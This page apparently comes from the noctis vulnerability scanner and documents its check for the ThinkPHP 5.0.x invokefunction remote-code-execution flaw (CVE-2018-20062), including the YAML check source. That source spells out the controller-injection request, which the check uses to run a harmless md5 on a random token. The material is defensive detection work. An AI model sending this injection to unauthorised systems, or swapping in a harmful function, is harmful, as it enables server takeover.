ThinkPHP — 1 vulnerability check
noctis ships 1 vulnerability check for ThinkPHP, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ThinkPHP 5.0.x invokefunction Unauthenticated RCE
| CVE | CVE-2018-20062 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/thinkphp/CVE-2018-20062.yaml |
Tests ThinkPHP 5.0.x (noneCms, up to 5.0.23) for unauthenticated remote code execution via the `s=index/think\app/invokefunction` controller-injection flaw. Detection is write-free: a benign built-in (md5) is invoked on a random token and the response is matched against the digest computed locally, confirming server-side execution without running any intrusive payload.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=md5… - Checks
probe_resp.bannerforHTTP/1\.[01] 200→ finding QoD 97: ThinkPHP 5.0.x unauthenticated RCE (CVE-2018-20062)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2018-20062
- https://github.com/NS-Sp4ce/thinkphp5.XRce
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20062.yaml
Feed source — tests/vulnerabilities/thinkphp/CVE-2018-20062.yaml
# ThinkPHP 5.0.x invokefunction Unauthenticated RCE — CVE-2018-20062
#
# ThinkPHP 5.0.x (through 5.0.23, as shipped by noneCms) fails to validate the
# controller name taken from the `s` parameter. The value
# index/think\app/invokefunction
# routes the request straight into \think\App::invokefunction, which calls an
# attacker-chosen PHP function with attacker-chosen arguments — unauthenticated,
# pre-routing code execution.
#
# Detection (write-free, benign reflected differential):
# We do NOT run a shell, phpinfo, or any state-changing function. Instead we
# invoke the pure, inert built-in `md5` on a RANDOM token generated per scan
# run and compare the server's response against the md5 digest we compute
# locally. A vulnerable target actually executes md5(token) and echoes the
# digest; a patched target routes the request normally (404 / error) and the
# digest never appears. Because the token — and therefore the expected digest —
# is fresh every run, a target that merely reflects a constant marker cannot
# match: only genuine server-side execution of the chosen function does.
# This proves code execution (QoD 97) without exploiting anything.
#
# Payload (verbatim; backslash + bracket chars would be mangled by reqwest, so
# tcp_connect is used):
# GET /index.php?s=index/think\app/invokefunction
# &function=call_user_func_array&vars[0]=md5&vars[1][]=<token>
uid: 98da6ce8-78d0-49a5-af6d-f004364a75ea
name: "ThinkPHP 5.0.x invokefunction Unauthenticated RCE (CVE-2018-20062)"
description: |
Tests ThinkPHP 5.0.x (noneCms, up to 5.0.23) for unauthenticated remote code
execution via the `s=index/think\app/invokefunction` controller-injection flaw.
Detection is write-free: a benign built-in (md5) is invoked on a random token
and the response is matched against the digest computed locally, confirming
server-side execution without running any intrusive payload.
cves: [CVE-2018-20062]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [thinkphp, php, rce, invokefunction, nonecms]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-20062"
- "https://github.com/NS-Sp4ce/thinkphp5.XRce"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20062.yaml"
steps:
# ── Init gate var (avoids undefined-var throw in later conditions) ────────
- id: init-flag
action: set_var
var_name: tp_detected
var_value: false
# ── Generate a fresh random probe token (differs every run) ──────────────
- id: gen-token
action: script
code: 'rand_hex(16)'
store_as: tp_token
# ── Compute locally the digest a vulnerable server must return ────────────
- id: expected-digest
action: script
code: 'md5(tp_token)'
store_as: tp_expected
# ── Injection probe: invoke the inert built-in md5 on our token ───────────
# tcp_connect sends the payload verbatim — reqwest would rewrite the
# backslash / bracket characters the ThinkPHP route depends on.
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET /index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]={{tp_token}} HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: probe_resp
# ── Confirm genuine execution: the response carries md5(token) ────────────
# pattern requires an HTTP 200; the step condition requires the locally
# computed digest to be present in the body — both must hold.
- id: confirm-rce
action: match
source: probe_resp.banner
pattern: "HTTP/1\\.[01] 200"
condition: 'type_of(probe_resp.banner) == "string" && stridx(probe_resp.banner, tp_expected) >= 0'
on_match:
finding:
title: "ThinkPHP 5.0.x unauthenticated RCE (CVE-2018-20062)"
description: "Server executed an attacker-chosen PHP function via the invokefunction controller injection, returning the md5 digest of a random probe token."
confidence_delta: 0.65
qod: 97
evidence: "invokefunction executed md5 server-side; response returned the expected digest for the per-run random probe token."
set_vars:
tp_detected: true
stop: true